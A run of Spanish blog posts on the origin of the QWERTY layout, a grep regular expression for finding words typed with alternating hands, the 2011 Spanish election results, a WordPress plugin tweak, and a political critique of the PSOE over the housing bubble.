Esta compañía surgió cuando Eliphalet Remington, en 1816, tuvo una de esas ideas que mueven a los hombres a grandes empresas: pensó que podría construir un arma mejor que cualquiera que pudiera comprar. Y vaya si lo consiguió. A pesar de comenzar como un proyecto personal, en seguida todos su vecinos quisieron una, por lo que decidió constituir la empresa. Durante los siguiente años la calidad de sus rifles se hizo suficientemente famosa como para ser el principal proveedor de rifles del ejército norteamericano durante la guerra contra México (1846-48). A finales de los 50, y sobre todo tras la Guerra de Secesión estuvieron muy interesados en diversificar el negocio, de modo que empezaron a vender máquinas de coser, biciletas, útiles agrícolas y otros aparatos mecánicos. Así que la empresa de Remington tenía la maquinaría, los expertos mecánicos, la fama y las ganas necesarias para iniciarse en el negocio de la mecanografía. No sólo eso, sino que estaban situados en Ilion, en medio del estado de Nueva York , no muy lejos de donde terminaría trabajando nuestro protagonista. Aún así no dejaron las armas de lado, a finales del XIX eran los fabricantes de armas más exitosos del mundo (aparecen en la bandera de Guatemala); la compañía terminaría por llamarse Remington Arms y tiene el “honor” de ser la empresa más antigua de Estados Unidos que continua fabricando su producto original.

Sholes, que trabajaba como editor de un periódico en Milwaukee, empezó interesándose por automatizar ciertas tareas como numerar páginas de libros o boletos, pero pronto el proyecto fue a más cuando se unió a Carlos Glidden y terminaron desarrollando un primer modelo que 1868 con dos filas de teclas en lugar de las cuatro que conocemos, con las letras estaban ordenadas alfabéticamente. ¿Por qué dos líneas? Pues porque el artículo que les motivó describía una nueva máquina de escribir, de forma figurada, como “piano literario” y de hecho se inspiraron en el mecanismo del piano, utilizando realmente un sus teclas, en el que blancas y negras representaban cada fila. En realidad el Pterotipo de John Pratt del que hablaba el artículo en nada se parecía a este instrumento como se ve en las fotos, pero su artículo no llevaba fotos.

Pero tras eso siguió un intenso proceso de análisis y pruebas que condujo en 1873 a presentar un modelo definitivo a Remington, quién adquiriría los derechos y, tras un par de pequeñas modificaciones presentaría y popularizaría a la distribución QWERTY que hoy en día conocemos sin apenas cambios mayores.

Un falso mito bastante extendido dice que Christopher Sholes ordenó las letras intencionadamente para escribir más lento y así evitar atascos en las partes mecánicas, que eran uno de los principales problemas de todas estas primigenias máquinas. En realidad con el orden, más que buscar la lentitud o incomodidad del mecanógrafo, pretendía separar las letras que se pulsan seguidas lo suficiente para que no chocasen entre ellas al subir o bajar, nada más.

Para saber qué letras separar es muy probable que se basase en los estudios de pares-frecuencia realizados por Amos Densmore, hermano de James Densmore, uno de los principales inversores en su idea; donde contaba el número de repeticiones de cada par de letras en un texto.

Otro método, mucho más sencillo, para evitar atascos fue distribuir las columnas en diagonal en lugar de crear una rejilla perfecta con las teclas. Estamos tan acostumbrados a ver así los teclados que nos parece hasta normal, pero si nunca hubiésemos visto uno y nos encomendasen fabricar el primero, la mayoría lo ordenaríamos perfectamente recto. De hecho existen teclados así y aseguran provocar menos lesiones musculares, o cansancio, por tener que desplazar menos los dedos, ya que las teclas quedan más juntas. Por el mismo motivo afirman ser más rápidos.

La historia del diseño de estas máquinas está, al igual que cualquier otra, llena de pequeñas maravillas de la ingeniería. Por ejemplo, con el fin de poder hacer iguales todas las barras que sujetan las letras que se imprimen, éstas se ensamblan en un segmento de disco circular, de modo que todas quedan a la misma distancia del centro; seguro que ahora os vienen a la cabeza imágenes de máquinas de escribir y caéis en que la parte curva donde reposan las letras formaría una circunferencia perfecta si la continuásemos. También es curioso que al principio el mecanógrafo no podía ver lo que estaba escribiendo, pues el papel se golpeaba por debajo: tenía que esperar a pulsar intro y desplazar el papel (de ahí el rodillo en el que está insertado) para poder comprobar el texto impreso. No fue hasta 1895 que desarrollaron las innovaciones para ver lo que se estaba escribiendo, introducidas principalmente de la mano de Thomas Oliver.

Cuando los primeros ordenadores se crearon puedo imaginar a algún hacker antediluviano modificando una máquina de escribir para hacer los agujeros adecuados en las primeras tarjetas o modificar la salida las máquinas eléctricas (ya eran populares en los años 40) para comunicarse con el ordenador. Buscando un poco he encontrado la Friden Flexowrittersiguiente imagen.

Y no sólo estamos hablando de la facilidad de incorporar un elemento que ya estaba muy desarrollado (como el teclado electrónico): si se pretendía que el ordenador triunfase y se hiciese un hueco en las oficinas se tenía que facilitar el paso a éste; así que teniendo un ejército de eficientes mecanógrafos acostumbrados a una distribución específica es fácil entender que nadie se plantease seriamente hacer teclados de ordenador muy distintos de como eran en las máquinas de escribir.

Resulta muy sorprendente darse cuenta de que el orden de las letras de la mayoría de teclados está basado en resolver un problema puramente mecánico de hace 150 años. Es una distribución que era muy ingeniosa para evitar el problema de atasco que sufrían las máquinas de escribir, pero que obviamente no existe con los teclados actuales, pero siguen arrastrando el mismo sistema invariablemente.

Por supuesto mucha gente ha pensado en esto antes, por lo que hay diferentes distribuciones de teclado muy distintas de QWERTY, como Colemak, Neo, HCSAR… pero son prácticamente variedades regionales; al igual que existen distribuciones distintas para todos los otros lenguajes no basados en caracteres latinos (aunque luego no dejen de tener algo latino paralelo que suele ser QWERTY).

La alternativa más popular de todas es la que desarrollaron August Dvorak y su cuñado William Dealey durante los años 30 (cuando empezaban a aparecer máquinas de escribir eléctricas), pero que nunca llegó a triunfar. Se marcaron como objetivo diseñar científicamente un teclado para disminuir los errores de mecanografía, aumentar la velocidad y rebajar la fatiga del mecanógrafo (llegaron a estudiar la fisiología de la mano además de mucha estadística de frecuencias de palabras).

Numerosos estudios entonces demostraron una mayor velocidad con teclados Dvorak (a día de hoy desprestigiados dado que los principales los dirigió su propio creado) e incluso llegaron a ganar varios campeonatos de mecanografía —por aquel entonces eran populares los concursos de velocidad de escritura—, pero todo fue en vano. Otros estudios más recientes concluyeron que no había diferencia de velocidad significativa entre mecanógrafos utilizando teclados QWERTY o Dvorak. A pesar de su poca difusión, cualquier sistema operativo moderno está preparado para trabajar con uno de estos teclados.

Entre las causas que se citan para el poco éxito destacan que apareció en mitad de la Gran Depresión y luego llegó la 2ª Guerra Mundial, que paró la producción de máquinas de escribir (guerra total); tampoco consiguió hacer que el público fuese consciente de su existencia. Sumando estos dos factores es difícil que consiguiese convencer a ningún fabricante para hacer un lote suficientemente grande que ayudase a generalizarlo.

Por supuesto el diseño de los teclados Dvorak está lleno de otras curiosidades, como que la inmensa mayoría de las palabras se escriben con la línea central del teclado (requiriendo menor movimiento de dedos), en un porcentaje muy superior a lso QWERTY, pero ya son otra historia.

Esta semana estuve pensando cuántas palabras existirían en español que pudiesen escribirse alternando cada letra con una mano, escribiendo de forma correcta desde el punto de vista de la mecanografía. Por ejemplo: tutor, usual, blanco, airoso, soslaya, vividor, palenque, flamenco, ornamento, audiencia, antisocial, tormentoso, antiséptico, suboficial, digitiforme o ditirámbico. La palabra más larga en castellano que conozco es autosuficiencia, de 15 letras.

Hay que prestar especial atención a las palabras con tilde. El acento se escribe con la mano derecha, por lo que sólo son válidas las vocales de la mano izquierda, a y e.

¿Cuál es la expresión regular que nos ayudará a encontrar esto? Llamaremos izq las letras que se escriben con la mano izquierda izq={qwertasdfgzxcvb} y dch a las de la derecha, dch={yuiophjklñbnm}.

Para construir una expresión regular debemos ayudarnos de algunos símbolos con ciertos significados, por ejemplo el dólar $ representa el final de línea. Texto entre corchetes significa que todos los caracteres de su interior son válidos y hay que elegir uno de ellos. Un más (+) detrás de una expresión indica que hay que repetirla una o más veces (incluso infinitas). Por ejemplo, si tenemos [izq]+, las siguientes cadenas están representadas por esa expresión regular. ewt, qwezcvasdaq, dfgr… Hay algunas más como asterisco, interrogante, tubería o los paréntesis agrupan expresiones de forma general como en matemáticas. Si tenéis interés por internet hay cientos de páginas explicando estos detalles en profundidad. Una que me gusta especialmente es Regular-Expressions.

La primera aproximación sería decir:

^(([izq][dch])+|([dch][izq])+)$

Cualquier letra de la izquierda, seguida de otra de la derecha, una o más veces. O viceversa. Al envolverlo entre ^y $ indicamos que queremos que eso se cumpla para la palabra entera. Parece una buena aproximación, pero… ¡Sólo conseguimos palabras con número de letras par!

Para solucionarlo hay que pensar un poco… ¿Cómo se forman los impares? Pues cogiendo un par y añadiendo la unidad; y lo mismo haremos aquí. Tomamos la misma expresión que hemos utilizado antes y el añadimos una letra extra. La dejaremos como opcional utilizando el interrogante (elegir una o ninguna) y así no tenemos que escribir una expresión distinta para pares e impares.

^((([dch][izq])+[dch]?)|(([izq][dch])+[izq]?))$

Por ahora evitaremos los acentos, que complican las cosas. Tal y como está ya podemos empezar a buscar palabras ¿dónde? Pues toda distribución linux trae incorparada de serie un diccionario y se pueden instalar más. Bueno, más que diccionario es un listado de palabras que están en el diccionario, pero sin definiciones ni nada. En mi equipo están en la carpeta /usr/share/dict/ y tengo tres: spanish, british-english, y american-english, que contienen 86016, 98326 y 98569 entradas respectivamente.

Entonces, todo lo que tenemos que teclear en nuestro terminal es…

grep -E ‘^((([yuiophjklñnm][qwertasdfgzxcvb])+[yuiophjklñnm]?)|(([qwertasdfgzxcvb][yuiophjklñnm])+[qwertasdfgzxcvb]?))$’ /usr/share/dict/spanish

¡Pero cuidado! son más de mil palabras lo que escupirá esta expresión. Quizás queramos guardarlas en un archivo para leerlas con detenimiento (si al final de la expresión añades > nombreArchivo se guardarán en un fichero de texto). Otra maravilla que tienen los sistemas unix es la posibilidad de utilizar la salida de un comando como la entrada del siguiente utilizando el símbolo de la tubería (altgr 1) para separar ambos comandos. Así, si simplemente quieres contar cuántas salen, basta añadir al final del comando un simple | wc -l para que te lo indique. wc es un programa para contar palabras, pero con la opción -l cuenta líneas.

Y se pueden encadenar expresiones regulares sin parar. Poniendo al final | egrep ‘^.{5}$’ obtendremos todas las palabras de cinco letras. Y con | egrep ‘^.{10,}$‘ nos imprimirá solamente aquellas con 10 o más caracteres.

Por supuesto es un coñazo escribir la expresión regular cada vez que se quiera cambiar el conjunto de izquierda y derecha, por lo que he escrito un pequeño script en bash que nos genera la expresión regular y realiza la búsqueda automáticamente. Puedes verlo y descargarlo aquí. Con los dos primeros parámetros se indican ambos conjuntos; el tercer parámetro es opcional, y permite cambiar fácilmente de diccionario para comprobar esto mismo también en otros diccionarios. El cuarto argumento nos permite especificar que sólo se imprima la expresión regular en lugar de realizar la búsqueda. Si no se especifican al menos los dos primeros parámetros lanzará un mensaje explicando cómo ejecutarlo.

El tema de las tildes simplemente hace un poco más larga la expresión, pero se sigue basando en el mismo sistema. Habrá que tener en cuenta que el acento sólo puede ir después de una pulsación con la izquierda, y a continuación tendrá que ir una con la mano derecha. Y lo más importante: que no tiene por qué ocurrir siempre, por lo que ha de ser un parámetro opcional (usaremos el interrogante). Para facilitar la lectura la divido en dos lineas equivalentes, sólo que cada una representa un orden distinto. A lo mejor existe otra expresión regular más sencilla que lo simplifique, pero no se me ocurre.
‘^(([izq][áé]?)|(([izq][áé]?[dch])+|([izq][áé]?([dch][izq][áé]?)+))
|(([áé]?[dch])|([áé]?[dch][izq])+|([áé]?[dch]([izq][áé]?[dch])+)))$’

Al igual que antes, he escrito un script para que lo genere automáticamente y facilitar las pruebas con distintos conjuntos ver y descargar el script aquí. En este no preconfiguro diccionarios (los ingleses no tienen tildes después de todo), pero también puede cambiarse fácilmente a otro. Ejecutando el archivo sin suficientes parámetros mostrará la ayuda explicando esos detalles.

En el diccionario que tengo en mi equipo, que cuenta con 86 016 palabras, encuentro 1109, en la que la más larga es quelenquelen. Un amigo ha hecho pruebas con otro diccionario con algunas entradas más y obtiene 1307 (puedes ver la conversación aquí). He fusionado ambos archivos eliminando las repetidas y obtengo 1463 palabras que dejo aquí colgadas.

Una de las motivaciones que me han llevado a buscar esto era saber si se podría componer un texto que se pueda escribir alternando las manos ¿Alguien se atreve a escribir un texto utilizando únicamente este tipo de palabras?.

Nexos y palabras cortas que pueden ser útiles:

a, al, dos, e, el, él, en, ha, he, la, le, me, o, os, pro, que, se, si, su, sus, todo, tu, tus, u, vos, y, ya

Al estar la R, E y A en el mismo lado no aparecen verbos terminados en AR y ER, por lo que también he cogido palabras que cumplan la condición anterior, pero con esa terminación. No todas serán verbos, pero sí la mayoría. Este diccionario no tiene conjugaciones verbales, así que esto es una posible ayuda a todo aquel que se quiera atrever a escribir un texto, para facilitarle la búsqueda de las palabras apropiadas. Puedes consultar esta nueva lista aquí.

Me refiero a sucesos acaecidos en pueblos perdidos de China, Australia o Estados Unidos, que probablemente incluso suenen recónditos en Pekín, Sidney o New york. Como una chica en ropa interior buscando su perrito, una pelea entre conductores que han tenido un accidente, o el tropiezo de un niño gordo.

El único aliciente para los noticieros cuando suceden cerca es que pueden enviar un reportero y rellenar diez minutos muy barato con testimonios de los vecinos: “Me gusta mucho el centollo, pero en casa no compramos mucho“; “Sí, llevamos una semana de chubascos ¡Todo el día con el paraguas!“; “¡Ay hija mía! Yo de verdad que no había visto algo así en toda mi vida“; “La verdad es que a veces piso un poco el acelerador, pero en general conduzco con cuidado“.

Se caracterizan, además de la carencia de información y utilidad que nos aportan, en que nunca suelen estar grabados por profesionales. Generalmente son las cámaras de seguridad de algún negocio, o del tráfico, o también improvisados testigos. No es que yo sea un experto en calidad audiovisual, es que los videos que ves muy bien en Youtube (fuente de muchas de sus imágenes) en la pantalla de tu ordenador, al publicarlo en televisión se convierte en un enorme y difuso pixel.

Son los típicos videos que antiguamente descargábamos en El Rellano, que cualquier día vemos en Yonkis o que pueden ser tranquilamente portada de Meneame, incluso en éste último hay una proporción más alta de noticias de calidad que en cualquier informativo de hoy en día.

Para ilustrar esta entrada dejo algunas de las que más me han cautivado (no las he visto en directo porque es imposible seguir todos los telediarios, pero me basta con encontrarlas en la misma sección que otras que sí he visto):

• Una muñeca que dice “puta loca”
• Exagerada operación de labios en San Petesburgo
• Estudiante atrapada por su tendero en Derby (Inglaterra)
• Periodista rusa despedida por “dedicar una peineta” a Obama
• Scarlett Johansson no quiere Facebook ni Twitter
• Adolescente con cáncer terminal pide que su lista de deseos sea trending topic

El colmo fue ver a una Miss Algo contestando la típica imbecilidad, para aprovechar a continuación y cascar una vez más las tan manidas intervenciones de otras convocatorias que ya nos sabemos de memoria como la de “Qué sabes de Rusia”

Hay días que no sé si estoy viendo las noticias o Videos de primera.

3) El PP va a gobernar con una cómoda mayoría absoluta que le permitirá hacer prácticamente cualquier cosa, pero sólo representará al 31.57% de los españoles con derecho a voto. Recordadlo cuando defiendan que la mayoría de los españoles les apoyan. Será la segunda mayoría más grande de la democracia. Apuntado por P.J..

3.5) ¡Cómo no me había dado cuenta? El PP tiene mayoría absoluta, pero ha obtenido 458 642 votos menos que el PSOE en 2008. Esto es posible debido a que ha habido más abstencionismo y el porcentaje del PP ahora es mayor a pesar de ser menos votos. También se traduce en muchos más escaños por la aplicación de la Ley D’Hont sin otra alternativa con similares votos.

4) En el Senado, ese gran olvidado de las estadísticas electorales, el PP acostumbra siempre a obtener mayorías, pero la de este año ha sido de órdago. Si en 2008 eran 101 senadores frente a 88 del PSOE, este año hay 136 frente a 48. En total hay 208 senadores

5) Pero el Senado no sólo está olvidado, sino denostado por la mayoría de los españoles. Las voces implorando que se cierre y se abandone el modelo bicameral (o se reforme sustancialmente) cada vez son más numerosas, y éste año de recortes y austeridad más. Las papeletas nulas y en blanco han superado los 2 millones; más del doble porcentualmente que en 2008.Y no me creo que se pase de 500mil nulos a 1 millón doscientos mil porque “la gente no sabe votar al Senado“; aunque habrá quién lo utilice como defensa.

6) Los requisitos para formar grupo parlamentario son los siguientes:

• Se requieren al menos 15 diputados o 10 senadores.
• En caso de no alcanzar dicho mínimo, una formación política, podrá formar grupo parlamentario a partir de 5 diputados, siempre y cuando se posea un 15% de los votos en las circunscripciones donde se haya presentado o un 5% de los votos en el conjunto de la nación.

Conseguir ese 5% son 1 213 633 votos. Observando estas últimas votaciones, esto provoca situaciones curiosas:

• Por un lado, UPyD, que se presenta por toda España, tiene cinco diputados y sus 1 140 242 votos suponen el 4,69% por lo que no tienen derecho a grupo propio.
• PNV con cinco diputados y 323 517 votos consigue grupo parlamentario frente a los siete diputados de Amaiur y sus 333 628 votos. ¿Cómo es esto posible? El PNV sólo se presenta por el País Vasco, mientras que Amaiur también se presenta por Navarra.
  • PNV ha conseguido entre el 18% y el 32% en las tres provincias vascas.
  • Amaiur similar, pero en Navarra se ha quedado en el 14,86%. Le han faltado 437 votos.
  • Si sumamos todos los votos de Amaiur y los dividimos entre los votos válidos en las cuatro provincias… obtienen el 22% del total. Aunque ese 15% parece ser que se computa por candidatura independientemente.

Claro, que luego la formación de grupos parlamentarios es un putiferio en el que además de alianzas varias se ha llegado incluso a prestar diputados de un partido a otro, lo cual es algo que no me termina por entrar en la cabeza (el PSOE a CC en 2004 le cedió dos diputados para alcanzar los cinco requeridos). Merece la pena leer este artículo destacando algunas jugarretas pasadas.

7) FE y de las JONS ha pasado de 14 023 votos a 2.901 y Democracia Nacional de 12 836 a 1 858. No se sabe si porque sus votantes han pasado a mejor vida, han sido absorbidos por el PP o antes rascaban de más sitios pero la ley de los avales les ha limitado a presentarse por menos.

8) En Asturias PSOE y PP han empatado con tres diputados, PAC e IU han ganado otro. Si Álvarez Cascos no se hubiese separado del Partido Popular y y supusiésemos que todos los votos que se ha llevado su escisión los habría obtenido su anterior partido: PP habría obtenido cinco diputados, PSOE dos, e IU el restante.

9) En las Elecciones Locales que se celebraron en mayo de 2011 el PSOE obtuvo 6 276 087 votos, una mínima diferencia con los 6 973 880 de estas elecciones generales. Históricamente, PPSOE siempre obtienen menos votos en las locales que en las generales; por ejemplo, el PP ha obtenido casi dos millones y medio de votos más que en mayo. El incremento de votos del PSOE con respecto a las últimas elecciones de 2007 es de 552 683.

10) Todavía el 71,82% de los españoles delegan su opinión y voto en en unos señores que ni siquiera han tenido el derecho de elegir (salvo honrosas excepciones como EQUO donde hicieron primarias libres en cada candidatura). Y encima la mayoría se sienten satisfechos para los próximos cuatro años de su nula participación en algo que dicen llamar democracia.

11) Según mis cálculos, si aplicamos la Ley D’Hont a toda España como una única circunscripción sin eliminar ningún candidato, obtendríamos el siguiente Congreso en el que el PP no tendría mayoría absoluta y estarían representados más justamente otros partidos. El incremento de IU y UPyD es notable, pero más lo es EQUO, que con 200 000 votos hoy no tiene diputados pero que le corresponderían tres. A continuación copio mis resultados y os dejo enlace para que comparéis con el que ha salido con la trampa de la circunscripción provincial.

• PP: 164 diputados
• PSOE: 105 diputados
• CiU: 15 diputados
• IU-LV: 25 diputados
• Amaiur: 5 diputados
• UPyD: 17 diputados
• EAJ-PNV: 4 diputados
• Esquerra: 3 diputados
• BNG: 2 diputados
• CC-NC-PNC: 2 diputados
• Compromís-Q: 1 diputados
• FAC: 1 diputados
• GBAI: 0 diputados
• EQUO: 3 diputados
• PACMA: 1 diputados
• Eb: 1 diputados
• PA: 1 diputados

12) Hay mucha gente que defiende que se contabilice el abstencionismo mediante escaños vacíos en el Parlamento; luego que se las apañasen los diputados para formar gobierno. Como curiosidad, he hecho el mismo cálculo que antes pero añadiendo la abstención como fuerza política. Con estas condiciones quedaría un Congreso como el que sigue:

• Abstencion: 104 escaños vacíos
• PP: 116 diputados
• PSOE: 74 diputados
• CiU: 10 diputados
• IU: 18 diputados
• Amaiur: 3 diputados
• UPyD: 12 diputados
• EAJ-PNV: 3 diputados
• Esquerra: 2 diputados
• BNG: 1 diputados
• CC-NC-PNC: 1 diputados
• Compromis-Q: 1 diputados
• FAC: 1 diputados
• GBAI: 0 diputados
• EQUO: 2 diputados
• PACMA: 1 diputados
• Eb: 1 diputados

13) El censo de 2011 cuenta con 706 999 votantes más que en 2008. Abstención + nulos + blancos eran entonces 8 807 881 y han pasado a 10 361 756, una diferencia de 1 553 875. Por cada nuevo votante, dos no han votado a ninguna candidatura.

Gráfico por P.J. de Ciudad de Historia

Para terminar, dejo algunos enlaces útiles donde comparar resultados de forma gráfica o textual:

• Sencilla web para comparar detalladamente resultados electorales de todas las convocatorias de la democracia.
• Mapa coloreado por municipios de las locales de mayo de 2011.
• Geometría del voto. El tercer gráfico hará las delicias de los amantes de la representación de estadísticas: muestra la evolución de diputados de cada partido por provincias y por años.
• Los gráficos de El País me suelen gustar bastante, pero todavía no han publicado nada. ¡Y lo que nos duele! Espero que veamos algo los próximos días.

Por otro lado, para facilitar las cosas decidí que mostrar unos pocos párrafos sería lo ideal. Busqué y busqué, pero no fui capaz de encontrar nada que cortase los artículos con posibilidad de expandirlos. Creo que la única alternativa ahora mismo en WordPress es mandar que aprezca un extracto (the_excerpt()) en lugar de todo el contenido (the_content()), con el cuál eliges un número de caracteres que quieres que se muestren.

La función propia de wordpress parece ser bastante probre y hay muchos plugins mejorándola, evitando que corte palabras enteras, que corte etiquetas HTML, etc. Pero nada de esto hacía lo que yo quería, pues obliga al lector a abrir el post y cargar otra página (de lo cual algunos estarán encantadísimos porque les suma visitas; pero mi intención es que me lean, no hacerme pajas con las estadísticas de páginas visitadas).

De ese modo, terminé por bajarme Text Expander, un plugin que permite contraer ciertas partes de un post simplemente escribiendo entre corchetes EXPAND y /EXPAND rodeando al texto a ocultar. Parecía la solución… pero hubiera supuesto añadir a mano en cada una de todas las entradas del blog esas etiquetas, lo cual es una tarea titanica. Además de que si algún día decido cambiarlo supondría un esfuerzo equivalente.

Por eso terminé por empezar a cacharrear con el código del plugin para hacerme algo a la medida. Ahora, para cada entrada que se carga se cuentan los párrafos que tiene, y si son más de cinco, le digo que me añade el EXPAND entre el segundo y el tercero. En realidad no sólo tiene en cuenta párrafos, sino también listas, citas e imágenes. Parecía sencillo, pero la cosa se empezó a complicar cuando me di cuenta de que había que tener mucho cuidado con los párrafos dentro de un blockquote, o las sublistas dentro de listas (ul); de lo contrario, al perderse las etiquetas de cierre, se desestructuraba todo el blog. Creo que finalmente he sido capaz de solucionarlo, pero como puede haber alguna combinación que no haya tenido en cuenta os pediré que si en algún momento descubrís algún error me lo comuniquéis.

Otro problema que me costó identificar fue que las nuevas entradas obtenidas al deslizar la página hasta el final se cargaban expandidas, de modo que pensaba que no estaba aplicandose la conversión allí. Al final me di cuenta de que la contracción se aplicaba al cargar la página con una línea de Javascript, pero esto no funciona con las nuevas al estar ya “cerrada” la web. Afortunadamente Infinite Scroll incluye un apartado en su configuración que permite al usuario añadir código Javascript que se invoque una vez el nuevo contenido se carga, de modo que con tres o cuatro líneas solucioné el problema.

Creo que es algo bastante útil y que quizás más gente necesite algo así, de modo que he pensado que quizás podría darle un retoque y publicarlo como plug-in; aunque nunca lo he hecho así que no tengo ni idea de si es un proceso sencillo. ¿Alguien tiene experiencia en plugins de WordPress y puede darme un consejo?

Por cierto, pensé que sería interesante dejar la primera entrada de la página principal directamente extendida, pues al ser la última publicada será más probable que la gente entre a leer esa. ¿Os gusta así o la preferís contraída como el resto?

Me centro en la actividad del PSOE puesto que ha demostrado un insuperable cinismo al criticar la burbuja inmobiliaria mientras estaba en la oposición, hasta el punto de prometer combatirla en su programa electoral de 2004 (véase página 128 del mismo), y luego se quedó de brazos cruzados continuando la política del Partido Popular en esta materia y dejando que explotase por sí misma de la forma abrupta y salvaje en que lo ha hecho en lugar de tomar medidas que la suavizasen; más aún, negando hasta el último momento la crisis que ya estaba llegando y dilapidando el dinero público en medidas populistas y vacías de toda consideración socialista.

Por supuesto la burbuja fue potenciada por el PP durante su gobierno de 1996-2004, pero eso forma parte de su política y del neoliberalismo al que representan y no es lo que vengo a criticar (aunque también negaran en público su existencia), pues daría para otros discursos; sino la mentira, el cinismo, la soberbia y la sinvergonzonería de quienes se hacen llamar, falsa y erróneamente, Socialistas y Obreros —nombre por el que, si hubiera justicia en este país, se les debería denunciar por publicidad engañosa—.

Aclarado este punto, comencemos. Copio los fragmentos relevantes y enlazo a cada artículo al final de la cita del mismo, especificando la fecha. Como se ve, también los muestro en orden cronológico. Las negritas son mías.

Narbona, que comparecía en conferencia de prensa junto a Fernando Morán, alertó ayer al mundo empresarial madrileño sobre el fin de la presente fase económica -”la actual burbuja especulativa puede explotar en un año o año y medio”, dijo- e invitó a este sector a participar en los proyectos de construcción de viviendas de protección oficial que su coalición preconiza.

“La burbuja especulativa puede explotar en un año”, advierte Cristina Narbona (09/06/1999)

Desde 1998, el precio medio de una vivienda en España ha subido un 88%, un ritmo promedio anual del 13,5%. En ese mismo periodo, los precios de consumo lo hicieron a una tasa anual del 3%. Ello supone un aumento del precio real o relativo de la vivienda del 10,5% por año. [...]

¿Qué tiene de malo que suban los precios de la vivienda? En principio parece que nada, pues se trata de un aumento de la riqueza generalizado, dado que un 85% de la vivienda en España es en propiedad. Pero hay dos objeciones. La primera, que los precios pueden caer en algún momento del futuro, provocando un “efecto riqueza” negativo. La expectativa de dicha caída podría provocar una venta de viviendas, alimentando la espiral contraria. La segunda es que el endeudamiento hipotecario ha alcanzado tal nivel que una caída de dichos precios podría afectar negativamente a la estabilidad del sistema financiero.

¿Qué se puede hacer frente a este fenómeno en un país en el que parece que ya hay exceso de ladrillo y no se puede prometer más construcción masiva? Lo primero, hablar de ello. Mencionar la burbuja puede frenar las expectativas de revalorización y, con ellas, la demanda. En España, el Gobierno ha mostrado irritación al oír hablar de la burbuja inmobiliaria, un tic antidemocrático que recuerda al del Gobierno chino, que de entrada negó el SARS y sólo pudo empezar a atajarlo con su reconocimiento público.

Miguel Sebastián – El Ladrillo y la burbuja (22/06/2003)

Frente a todos, el ministro Rato ha declarado que “los precios de la vivienda en España no están artificialmente altos” y ha emprendido una campaña contra la idea de que hay una burbuja inmobiliaria en España. Como nadie puede pensar que Rato no vea lo que ve todo el mundo, hay que buscar la explicación en el miedo con que cualquier responsable de Economía ve acercarse el final de un modelo de crecimiento basado en el boom inmobiliario y en la explosión del endeudamiento de las familias. Y es que, cuando este patrón de crecimiento llegue al final, empezarán a aparecer las consecuencias negativas que acompañan al descenso de la burbuja. Cuando los precios de la vivienda empiecen a caer, la gente echará de menos lo bien que se vivía cuando subía de precio.

Miguel Ángel Fernández Ordóñez – Los problemas del final de los problemas (04/07/2003)

Zapatero acusó al PP de haber generado una “burbuja inmobiliaria” con una política basada “en el ladrillo y en la especulación” que está poniendo en riesgo al conjunto de la economía española porque puede estallar. El líder del PSOE destacó que, en 1996, un ciudadano con ingresos medios podía comprar una casa con el salario íntegro de cuatro años, mientras que ahora se requiere el de siete años.

Zapatero denuncia el fracaso del PP en materia de vivienda (y en El Pais) (4/10/2003)

La burbuja inmobiliaria está amenazada por una situación de “máximo riesgo” debido a la combinación de exceso de viviendas y precios desorbitados, según advirtió ayer el responsable de economía del PSOE y probable asesor del próximo Gobierno, Miguel Sebastián.

Sebastián advierte del máximo riesgo de burbuja inmobiliaria (25/03/2004)

La actual burbuja inmobiliaria obedece “en buena parte” a las deducciones fiscales por compra de vivienda. El director de la oficina económica de la Presidencia del Gobierno, Miguel Sebastián, irrumpió ayer con esta idea en el debate sobre los precios de la vivienda y culpó al anterior Gobierno del PP por mantener las deducciones en la reforma del IRPF de 1998. Sebastián se refirió a esta decisión como “el mayor error en política económica del PP” y lo vinculó directamente con la escalada de precios de los inmuebles. “Si no se hubiera proseguido con esa política, probablemente nos hubiéramos ahorrado buena parte de esa sobrevaloración [de la vivienda], como la llama el Banco de España”, aseguró Sebastián ante una audiencia de empresarios y directivos reunidos por la Asociación para el Progreso de la Dirección..

El asesor económico de Zapatero culpa al PP de la ‘burbuja’ inmobiliaria por no suprimir las deducciones (23/06/2004)

La autora del primer artículo, Cristina Narbona, fue Ministra de Medio Ambiente en la legislatura 2004-08. Durante su mandato aplicó por primera vez la Ley de Costas (1988) que hacía legal la demolición de construcciones ilegales en la zona de dominio público marítimo-terrestre de los litorales. Ésta, que podría considerarse la única acción —aunque tenue— tomada por el gobierno socialista contra la especulación (es un hecho que el litoral es la zona más afectada por la especulación inmobiliaria), se torció radicalmente durante la siguiente legislatura cuando Narbona fue sustituida y se aprobó, de tapadillo y sin pasar por el Congreso, una reforma de la Ley de Costas para permitir a los dueños de las casas construidas en zonas ilegales que las vendieran, cosa que la anterior ley prohibía (lo cual las revalorizó).

Las estadísticas que aporta Miguel Sebastian (actual ministro de Industria, pero asesor económico de Zapatero en su anterior legislatura) en su tribuna del El País son asombrosas ya en aquellas fechas, recomiendo leer el artículo (el segundo que he enlazado, el de 2003). Entonces ya criticaba que la deducción por vivienda estaba alimentando esta crisis entre otras cosas, pero a su partido no se le ocurrió eliminarla cuando llegó al poder un año después, sino que tuvimos que esperar a 2009/10, con la burbuja más que reventada.

Miguel Sebastián, una vez del lado del gobierno, dijo en 2006 que en España cabían 22 millones de inmigrantes más. Sin entrar en debates sobre si las fronteras han de estar abiertas o cerradas (o no existir), nadie puede negar que a la inmigración se le ha dado carta blanca durante la última docena de años precisamente porque hacía falta mano de obra para el boom inmobiliario, y porque lo alimentaba al necesitar estos mismos inmigrantes un hogar dónde vivir. Hacer una afirmación como esa en 2006 (cuando la venta de pisos comenzó a desacelerar) equivale a negar que exista ninguna burbuja, pues una burbuja, por definición, termina reventando. Una burbuja y una explosión que, como hemos comprobado, él mismo vio claramente mientras no gobernaba su partido.

M. A. Fernández (tercer artículo) también es un destacado economista del PSOE, que ya fue Secretario de Estado de Economía en la legislatura 1982-86. En 2004 era secretario de Estado de Hacienda y Presupuesto hasta que en 2006 fue nombrado Gobernador del Banco de España, cargo que ostenta en la actualidad. En septiembre de 2007, preconizando el esperpento de gasto y promesas vacuas que implicarían las elecciones, solicitó a Zapatero en una comparecencia en el Congreso que no derrochase el superávit, sabiendo que era mejor guardarlo para cuando viniesen las vacas flacas que malgastarlo en medidas populistas para ganar unos cuantos electores.

El gobernador del Banco de España dijo que no iba a criticar ninguna medida concreta, pero recomendó a los partidos que “cuiden y midan mucho” sus promesas electorales para evitar que se pierda el superávit. Este exceso de recaudación, cifrado en 17.575 millones de euros, “es un activo importantísimo, sobre todo en momentos como éstos, en los que no se sabe el impacto final que tendrá la crisis de liquidez en todas las economías, incluida la española”.

